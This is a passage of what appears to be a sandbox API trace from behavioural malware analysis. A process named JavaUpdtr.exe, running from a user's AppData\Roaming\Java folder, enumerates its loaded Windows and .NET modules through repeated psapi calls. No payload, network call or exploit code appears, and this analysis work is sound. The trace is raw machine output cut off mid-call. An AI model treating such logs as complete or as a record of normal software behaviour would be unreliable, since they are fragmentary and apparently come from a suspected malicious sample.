GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.615] GetLastError () returned 0x1e7 [0116.615] GetModuleInformation (in: hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x2750964, cb=0xc | out: lpmodinfo=0x2750964*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.615] GetLastError () returned 0x1e7 [0116.616] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.616] GetLastError () returned 0x1e7 [0116.616] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.616] GetLastError () returned 0x1e7 [0116.616] GetModuleInformation (in: hProcess=0x20c, hModule=0x75390000, lpmodinfo=0x2751a9c, cb=0xc | out: lpmodinfo=0x2751a9c*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.617] GetLastError () returned 0x1e7 [0116.617] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.617] GetLastError () returned 0x1e7 [0116.617] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.618] GetLastError () returned 0x1e7 [0116.618] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x2752c30, cb=0xc | out: lpmodinfo=0x2752c30*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.618] GetLastError () returned 0x1e7 [0116.618] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.619] GetLastError () returned 0x1e7 [0116.619] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.619] GetLastError () returned 0x1e7 [0116.619] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x2753d2c, cb=0xc | out: lpmodinfo=0x2753d2c*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.621] GetLastError () returned 0x1e7 [0116.621] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.621] GetLastError () returned 0x1e7 [0116.621] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.622] GetLastError () returned 0x1e7 [0116.622] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x2754e20, cb=0xc | out: lpmodinfo=0x2754e20*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.622] GetLastError () returned 0x1e7 [0116.622] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.623] GetLastError () returned 0x1e7 [0116.623] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.623] GetLastError () returned 0x1e7 [0116.623] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x2755f1c, cb=0xc | out: lpmodinfo=0x2755f1c*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.624] GetLastError () returned 0x1e7 [0116.624] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.624] GetLastError () returned 0x1e7 [0116.624] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.625] GetLastError () returned 0x1e7 [0116.625] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x27570b4, cb=0xc | out: lpmodinfo=0x27570b4*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.625] GetLastError () returned 0x1e7 [0116.625] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.626] GetLastError () returned 0x1e7 [0116.626] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.626] GetLastError () returned 0x1e7 [0116.626] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x27581b0, cb=0xc | out: lpmodinfo=0x27581b0*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.627] GetLastError () returned 0x1e7 [0116.627] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.627] GetLastError () returned 0x1e7 [0116.627] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.628] GetLastError () returned 0x1e7 [0116.628] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x27592e8, cb=0xc | out: lpmodinfo=0x27592e8*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.628] GetLastError () returned 0x1e7 [0116.629] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.629] GetLastError () returned 0x1e7 [0116.629] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.630] GetLastError () returned 0x1e7 [0116.630] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x275a474, cb=0xc | out: lpmodinfo=0x275a474*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.630] GetLastError () returned 0x1e7 [0116.630] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.631] GetLastError () returned 0x1e7 [0116.631] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.631] GetLastError () returned 0x1e7 [0116.631] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x275b630, cb=0xc | out: lpmodinfo=0x275b630*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.632] GetLastError () returned 0x1e7 [0116.632] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.632] GetLastError () returned 0x1e7 [0116.632] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.633] GetLastError () returned 0x1e7 [0116.633] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x275c814, cb=0xc | out: lpmodinfo=0x275c814*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.634] GetLastError () returned 0x1e7 [0116.634] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.634] GetLastError () returned 0x1e7 [0116.634] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.635] GetLastError () returned 0x1e7 [0116.635] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x275d9b4, cb=0xc | out: lpmodinfo=0x275d9b4*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.636] GetLastError () returned 0x1e7 [0116.636] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.636] GetLastError () returned 0x1e7 [0116.636] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.637] GetLastError () returned 0x1e7 [0116.637] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x275ebd8, cb=0xc | out: lpmodinfo=0x275ebd8*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.637] GetLastError () returned 0x1e7 [0116.637] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.638] GetLastError () returned 0x1e7 [0116.638] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.639] GetLastError () returned 0x1e7 [0116.639] EnumProcessModules (in: hProcess=0x20c, lphModule=0x27c48c4, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x27c48c4, lpcbNeeded=0x31c9a8) returned 1 [0116.640] GetLastError () returned 0x1e7 [0116.640] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x27c4a04, cb=0xc | out: lpmodinfo=0x27c4a04*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.640] GetLastError () returned 0x1e7 [0116.640] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.640] GetLastError () returned 0x1e7 [0116.640] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.640] GetLastError () returned 0x1e7 [0116.640] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x27c5b68, cb=0xc | out: lpmodinfo=0x27c5b68*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.640] GetLastError () returned 0x1e7 [0116.640] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.641] GetLastError () returned 0x1e7 [0116.641] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.641] GetLastError () returned 0x1e7 [0116.641] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x27c6c5c, cb=0xc | out: lpmodinfo=0x27c6c5c*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.641] GetLastError () returned 0x1e7 [0116.641] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.641] GetLastError () returned 0x1e7 [0116.641] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.641] GetLastError () returned 0x1e7 [0116.641] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x27c7d58, cb=0xc | out: lpmodinfo=0x27c7d58*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.641] GetLastError () returned 0x1e7 [0116.642] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.642] GetLastError () returned 0x1e7 [0116.642] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.642] GetLastError () returned 0x1e7 [0116.642] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x27c8e5c, cb=0xc | out: lpmodinfo=0x27c8e5c*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.642] GetLastError () returned 0x1e7 [0116.642] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.642] GetLastError () returned 0x1e7 [0116.642] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.643] GetLastError () returned 0x1e7 [0116.643] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x27c9f98, cb=0xc | out: lpmodinfo=0x27c9f98*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.643] GetLastError () returned 0x1e7 [0116.643] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.643] GetLastError () returned 0x1e7 [0116.643] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.643] GetLastError () returned 0x1e7 [0116.643] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x27cb09c, cb=0xc | out: lpmodinfo=0x27cb09c*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.643] GetLastError () returned 0x1e7 [0116.643] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.644] GetLastError () returned 0x1e7 [0116.644] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.644] GetLastError () returned 0x1e7 [0116.644] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x27cc198, cb=0xc | out: lpmodinfo=0x27cc198*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.644] GetLastError () returned 0x1e7 [0116.644] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.644] GetLastError () returned 0x1e7 [0116.644] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.645] GetLastError () returned 0x1e7 [0116.645] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x27cd294, cb=0xc | out: lpmodinfo=0x27cd294*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.645] GetLastError () returned 0x1e7 [0116.645] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.645] GetLastError () returned 0x1e7 [0116.645] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.645] GetLastError () returned 0x1e7 [0116.645] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x27ce3e0, cb=0xc | out: lpmodinfo=0x27ce3e0*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.646] GetLastError () returned 0x1e7 [0116.646] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.646] GetLastError () returned 0x1e7 [0116.646] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.646] GetLastError () returned 0x1e7 [0116.646] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x27cf4dc, cb=0xc | out: lpmodinfo=0x27cf4dc*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.647] GetLastError () returned 0x1e7 [0116.647] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.647] GetLastError () returned 0x1e7 [0116.647] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.647] GetLastError () returned 0x1e7 [0116.647] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x27d05e0, cb=0xc | out: lpmodinfo=0x27d05e0*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.647] GetLastError () returned 0x1e7 [0116.647] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.648] GetLastError () returned 0x1e7 [0116.648] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.648] GetLastError () returned 0x1e7 [0116.648] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x27d1718, cb=0xc | out: lpmodinfo=0x27d1718*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.648] GetLastError () returned 0x1e7 [0116.648] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.649] GetLastError () returned 0x1e7 [0116.649] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.649] GetLastError () returned 0x1e7 [0116.649] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x27d2814, cb=0xc | out: lpmodinfo=0x27d2814*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.649] GetLastError () returned 0x1e7 [0116.649] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.650] GetLastError () returned 0x1e7 [0116.650] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.650] GetLastError () returned 0x1e7 [0116.650] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x27d3908, cb=0xc | out: lpmodinfo=0x27d3908*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.650] GetLastError () returned 0x1e7 [0116.650] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.651] GetLastError () returned 0x1e7 [0116.651] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.651] GetLastError () returned 0x1e7 [0116.651] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x27d4a04, cb=0xc | out: lpmodinfo=0x27d4a04*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.651] GetLastError () returned 0x1e7 [0116.652] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.652] GetLastError () returned 0x1e7 [0116.652] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.652] GetLastError () returned 0x1e7 [0116.652] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x27d5af0, cb=0xc | out: lpmodinfo=0x27d5af0*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.653] GetLastError () returned 0x1e7 [0116.653] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.653] GetLastError () returned 0x1e7 [0116.653] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.653] GetLastError () returned 0x1e7 [0116.653] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x27d6c74, cb=0xc | out: lpmodinfo=0x27d6c74*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.654] GetLastError () returned 0x1e7 [0116.654] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.654] GetLastError () returned 0x1e7 [0116.654] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.655] GetLastError () returned 0x1e7 [0116.655] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x27d7d68, cb=0xc | out: lpmodinfo=0x27d7d68*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.655] GetLastError () returned 0x1e7 [0116.655] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.655] GetLastError () returned 0x1e7 [0116.655] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.656] GetLastError () returned 0x1e7 [0116.656] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x27d8e5c, cb=0xc | out: lpmodinfo=0x27d8e5c*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.656] GetLastError () returned 0x1e7 [0116.656] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: 